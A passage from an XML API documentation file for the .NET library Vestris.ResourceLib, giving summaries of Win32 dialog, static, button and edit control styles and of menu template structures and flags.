has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with \n            button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFT\">\n            <summary>\n            Creates a window that has generic left-aligned properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RTLREADING\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading-order \n            alignment, the window text is displayed using right-to-left reading-order properties. \n            For other languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LTRREADING\">\n            <summary>\n            The window text is displayed using left-to-right reading-order properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFTSCROLLBAR\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading order \n            alignment, the vertical scroll bar (if present) is to the left of the client area. For other\n            languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHTSCROLLBAR\">\n            <summary>\n            Vertical scroll bar (if present) is to the right of the client area. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTROLPARENT\">\n            <summary>\n            The window itself contains child windows that should take part in dialog box navigation. \n            If this style is specified, the dialog manager recurses into children of this window when\n            performing navigation operations such as handling the TAB key, an arrow key, or a \n            keyboard mnemonic.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_STATICEDGE\">\n            <summary>\n            Creates a window with a three-dimensional border style intended to be used for items that \n            do not accept user input.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_APPWINDOW\">\n            <summary>\n            Forces a top-level window onto the taskbar when the window is visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_OVERLAPPEDWINDOW\">\n            <summary>\n            Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_PALETTEWINDOW\">\n            <summary>\n            Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYERED\">\n            <summary>\n            Windows 2000/XP: Creates a layered window. Note that this cannot be used for child \n            windows. Also, this cannot be used if the window has a class style of either CS_OWNDC\n            or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOINHERITLAYOUT\">\n            <summary>\n            Windows 2000/XP: A window created with this style does not pass its window layout to its child windows.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYOUTRTL\">\n            <summary>\n            Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose\n            horizontal origin is on the right edge. Increasing horizontal values advance to the left. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_COMPOSITED\">\n            <summary>\n            Windows XP: Paints all descendants of a window in bottom-to-top painting order \n            using double-buffering. For more information, see Remarks. This cannot be used\n            if the window has a class style of either CS_OWNDC or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOACTIVATE\">\n            <summary>\n            Windows 2000/XP: A top-level window created with this style does not become the foreground\n            window when the user clicks it. The system does not bring this window to the foreground \n            when the user minimizes or closes the foreground window.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogItemClass\">\n            <summary>\n            Possible DIALOGEXITEMTEMPLATE WindowClass ordinals.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Button\">\n            <summary>\n            A button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Edit\">\n            <summary>\n            An edit box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Static\">\n            <summary>\n            A static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ListBox\">\n            <summary>\n            A list box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ScrollBar\">\n            <summary>\n            A scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ComboBox\">\n            <summary>\n            A combo box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.StaticControlStyles\">\n            <summary>\n            Static control styles.\n            A static control specifies the STATIC class, appropriate window style constants, \n            and a combination of the following static control styles.\n            http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFT\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next left-aligned\n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTER\">\n            <summary>\n            Specifies a simple rectangle and centers the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next centered \n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHT\">\n            <summary>\n            Specifies a simple rectangle and right-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next \n            right-aligned line. Words that are longer than the width of the control \n            are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ICON\">\n            <summary>\n            Specifies an icon to be displayed in the dialog box. If the control is created \n            as part of a dialog box, the text is the name of an icon (not a filename) defined \n            elsewhere in the resource file. If the control is created via CreateWindow or a \n            related function, the text is the name of an icon (not a filename) defined in the\n            resource file associated with the module specified by the hInstance parameter to \n            CreateWindow. The icon can be an animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKRECT\">\n            <summary>\n            Specifies a rectangle filled with the current window frame color.\n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYRECT\">\n            <summary>\n            Specifies a rectangle filled with the current screen background color. \n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITERECT\">\n            <summary>\n            Specifies a rectangle filled with the current window background color. This color is white \n            in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKFRAME\">\n            <summary>\n            Specifies a box with a frame drawn in the same color as the window frames. \n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the screen background (desktop).\n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITEFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the window background. This color is \n            white in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_USERITEM\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SIMPLE\">\n            <summary>\n            Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle.\n            The text line cannot be shortened or altered in any way. Also, if the control is disabled,\n            the control does not gray its text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFTNOWORDWRAP\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            Tabs are expanded, but words are not wrapped. Text that extends past the \n            end of a line is clipped.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_OWNERDRAW\">\n            <summary>\n            Specifies that the owner of the static control is responsible for drawing \n            the control. The owner window receives a WM_DRAWITEM message whenever the\n            control needs to be drawn.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BITMAP\">\n            <summary>\n            Specifies that a bitmap is to be displayed in the static control. \n            The text is the name of a bitmap (not a filename) defined elsewhere in the \n            resource file. The style ignores the nWidth and nHeight parameters; the control \n            automatically sizes itself to accommodate the bitmap.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENHMETAFILE\">\n            <summary>\n            Specifies that an enhanced metafile is to be displayed in the static control.\n            The text is the name of a metafile. An enhanced metafile static control has a \n            fixed size; the metafile is scaled to fit the static control's client area.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDHORZ\">\n            <summary>\n            Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDVERT\">\n            <summary>\n            Draws the left and right edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDFRAME\">\n            <summary>\n            Draws the frame of the static control using the EDGE_ETCHED edge style. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_TYPEMASK\">\n            <summary>\n            Windows 2000: A composite style bit that results from using the OR operator on \n            SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask.\n            Note that this is out of date and does not correctly include all valid styles.\n            Thus, you should not use this style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZECONTROL\">\n            <summary>\n            Windows XP or later: Adjusts the bitmap to fit the size of the static control.\n            For example, changing the locale can change the system font, and thus controls\n            might be resized. If a static control had a bitmap, the bitmap would no longer\n            fit the control. This style bit dictates automatic redimensioning of bitmaps \n            to fit their controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOPREFIX\">\n            <summary>\n            Prevents interpretation of any ampersand characters in the control's text as\n            accelerator prefix characters. These are displayed with the ampersand removed and \n            the next character in the string underlined. This static control style may be \n            included with any of the defined static controls. You can combine SS_NOPREFIX \n            with other styles. This can be useful when filenames or other strings that may \n            contain an ampersand must be displayed in a static control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOTIFY\">\n            <summary>\n            Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE \n            notification messages when the user clicks or double-clicks the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTERIMAGE\">\n            <summary>\n            Specifies that a bitmap is centered in the static control that contains it. \n            The control is not resized, so that a bitmap too large for the control will \n            be clipped. If the static control contains a single line of text, the text \n            is centered vertically in the client area of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHTJUST\">\n            <summary>\n            Specifies that the lower right corner of a static control with the SS_BITMAP\n            or SS_ICON style is to remain fixed when the control is resized. Only the top\n            and left sides are adjusted to accommodate a new bitmap or icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZEIMAGE\">\n            <summary>\n            Specifies that the actual resource width is used and the icon is loaded using\n            LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SUNKEN\">\n            <summary>\n            Draws a half-sunken border around a static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_EDITCONTROL\">\n            <summary>\n            Microsoft Windows 2000: Specifies that the static control duplicates the \n            text-displaying characteristics of a multiline edit control. Specifically, the \n            average character width is calculated in the same manner as with an edit control, \n            and the function does not display a partially visible last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENDELLIPSIS\">\n            <summary>\n            Microsoft Windows NT or later: If the end of a string does not fit in the rectangle,\n            it is truncated and ellipses are added. If a word that is not at the end of the string \n            goes beyond the limits of the rectangle, it is truncated without ellipses. Using this \n            style will force the controls text to be on one line with no word wrap. Compare with \n            SS_PATHELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_PATHELLIPSIS\">\n            <summary>\n            Windows NT or later: Replaces characters in the middle of the string with ellipses so \n            that the result fits in the specified rectangle. If the string contains backslash (\\) \n            characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last \n            backslash. Using this style will force the controls text to be on one line with no \n            word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WORDELLIPSIS\">\n            <summary>\n            Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. \n            Using this style will force the controls text to be on one line with no word wrap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ELLIPSISMASK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ButtonControlStyles\">\n            <summary>\n            Push button styles.\n            http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBUTTON\">\n            <summary>\n            Creates a push button that posts a WM_COMMAND message to the owner window when the\n            user selects the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFPUSHBUTTON\">\n            <summary>\n            Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct\n            appearance. If the button is in a dialog box, the user can select the button by pressing\n            the ENTER key, even when the button does not have the input focus. This style is useful \n            for enabling the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CHECKBOX\">\n            <summary>\n            Creates a small, empty check box with text. By default, the text is displayed to\n            the right of the check box. To display the text to the left of the check box, \n            combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTOCHECKBOX\">\n            <summary>\n            Creates a button that is the same as a check box, except that the check state \n            automatically toggles between checked and cleared each time the user selects the\n            check box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RADIOBUTTON\">\n            <summary>\n            Creates a small circle with text. By default, the text is displayed to the right of the\n            circle. To display the text to the left of the circle, combine this flag with the \n            BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for \n            groups of related, but mutually exclusive choices.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_3STATE\">\n            <summary>\n            Creates a button that is the same as a check box, except that the box can be grayed\n            as well as checked or cleared. Use the grayed state to show that the state of the \n            check box is not determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTO3STATE\">\n            <summary>\n            Creates a button that is the same as a three-state check box, except that the box \n            changes its state when the user selects it. The state cycles through checked, \n            indeterminate, and cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_GROUPBOX\">\n            <summary>\n            Creates a rectangle in which other controls can be grouped. Any text associated with\n            this style is displayed in the rectangle's upper left corner.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_USERBUTTON\">\n            <summary>\n            Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications \n            should use BS_OWNERDRAW instead.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTORADIOBUTTON\">\n            <summary>\n            Creates a button that is the same as a radio button, except that when the user selects it,\n            the system automatically sets the button's check state to checked and automatically sets \n            the check state for all other buttons in the same group to cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBOX\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_OWNERDRAW\">\n            <summary>\n            Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual \n            aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other\n            button styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TYPEMASK\">\n            <summary>\n            Microsoft Windows 2000: A composite style bit that results from using the OR operator on\n            BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFTTEXT\">\n            <summary>\n            Places text on the left side of the radio button or check box when combined with a radio button\n            or check box style. Same as the BS_RIGHTBUTTON style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TEXT\">\n            <summary>\n            Specifies that the button displays text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_ICON\">\n            <summary>\n            Specifies that the button displays an icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BITMAP\">\n            <summary>\n            Specifies that the button displays a bitmap. See the Remarks section for its interaction\n            with BS_ICON.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFT\">\n            <summary>\n            Left-justifies the text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side\n            of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RIGHT\">\n            <summary>\n            Right-justifies text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right\n            side of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CENTER\">\n            <summary>\n            Centers text horizontally in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TOP\">\n            <summary>\n            Places text at the top of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BOTTOM\">\n            <summary>\n            Places text at the bottom of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_VCENTER\">\n            <summary>\n            Places text in the middle (vertically) of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHLIKE\">\n            <summary>\n            Makes a button (such as a check box, three-state check box, or radio button) look and \n            act like a push button. The button looks raised when it isn't pushed or checked, and \n            sunken when it is pushed or checked.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_MULTILINE\">\n            <summary>\n            Wraps the button text to multiple lines if the text string is too long to fit on a \n            single line in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_NOTIFY\">\n            <summary>\n            Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its \n            parent window. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_FLAT\">\n            <summary>\n            Specifies that the button is two-dimensional; it does not use the default \n            shading to create a 3-D image. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFSPLITBUTTON\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a \n            BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button \n            is in a dialog box, the user can select the split button by pressing the ENTER key, even \n            when the split button does not have the input focus. This style is useful for enabling\n            the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_COMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a\n            BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing\n            to the button text. A caption for the button text can be set by sending the BCM_SETNOTE\n            message to the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFCOMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like\n            a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the \n            command link button by pressing the ENTER key, even when the command link button does\n            not have the input focus. This style is useful for enabling the user to quickly select\n            the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.EditControlStyles\">\n            <summary>\n            Edit control styles.\n            http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LEFT\">\n            <summary>\n            Aligns text with the left margin.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_CENTER\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_RIGHT\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_MULTILINE\">\n            <summary>\n            Designates a multiline edit control. The default is single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_UPPERCASE\">\n            <summary>\n            Converts all characters to uppercase as they are typed into the edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LOWERCASE\">\n            <summary>\n            Converts all characters to lowercase as they are typed into the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_PASSWORD\">\n            <summary>\n            Displays an asterisk (*) for each character typed into the edit control. \n            This style is valid only for single-line edit controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOVSCROLL\">\n            <summary>\n            Automatically scrolls text up one page when the user presses the ENTER key on \n            the last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOHSCROLL\">\n            <summary>\n            Automatically scrolls text to the right by 10 characters when the user types\n            a character at the end of the line. When the user presses the ENTER key, \n            the control scrolls all text back to position zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NOHIDESEL\">\n            <summary>\n            Negates the default behavior for an edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_OEMCONVERT\">\n            <summary>\n            Converts text entered in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_READONLY\">\n            <summary>\n            Prevents the user from typing or editing text in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_WANTRETURN\">\n            <summary>\n            Specifies that a carriage return be inserted when the user presses the \n            ENTER key while entering text into a multiline edit control in a dialog box. \n            If you do not specify this style, pressing the ENTER key has the same effect\n            as pressing the dialog box's default push button. This style has no effect \n            on a single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NUMBER\">\n            <summary>\n            Allows only digits to be entered into the edit control. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUTEMPLATE\">\n            <summary>\n            Defines the header for a menu template. \n            A complete menu template consists of a header and one or more menu item lists. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wVersion\">\n            <summary>\n            Specifies the version number. This member must be zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wOffset\">\n            <summary>\n            Specifies the offset, in bytes, from the end of the header. \n            The menu item list begins at this offset. Usually, this member is zero, and the menu \n            item list follows immediately after the header. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUITEMTEMPLATE\">\n            <summary>\n            Defines a menu item in a menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUITEMTEMPLATE.mtOption\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the appearance of the menu item.\n             TODO\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXTEMPLATE\">\n            <summary>\n            Defines the header for an extended menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wVersion\">\n            <summary>\n            Template version number. This member must be 1 for extended menu templates.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wOffset\">\n            <summary>\n            Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of \n            this structure member. If the first item definition immediately follows the \n            dwHelpId member, this member should be 4. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE\">\n            <summary>\n            Drop-down menu or submenu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwType\">\n            <summary>\n            Menu item type. This member can be a combination of the type (beginning with MFT) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwState\">\n            <summary>\n            Menu item state. This member can be a combination of the state (beginning with MFS) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwMenuId\">\n            <summary>\n            Menu item identifier. This is an application-defined value that identifies the menu item. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.bResInfo\">\n            <summary>\n            Value specifying whether the menu item is the last item in the menu bar, drop-down menu, \n            submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuFlags\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the \n            appearance of the menu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_INSERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHANGE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_APPEND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DELETE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_REMOVE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYCOMMAND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYPOSITION\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_GRAYED\">\n            <summary>\n            Indicates that the menu item is initially inactive and drawn with a gray effect.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHECKED\">\n            <summary>\n            Indicates that the menu item has a check mark next to it.\n         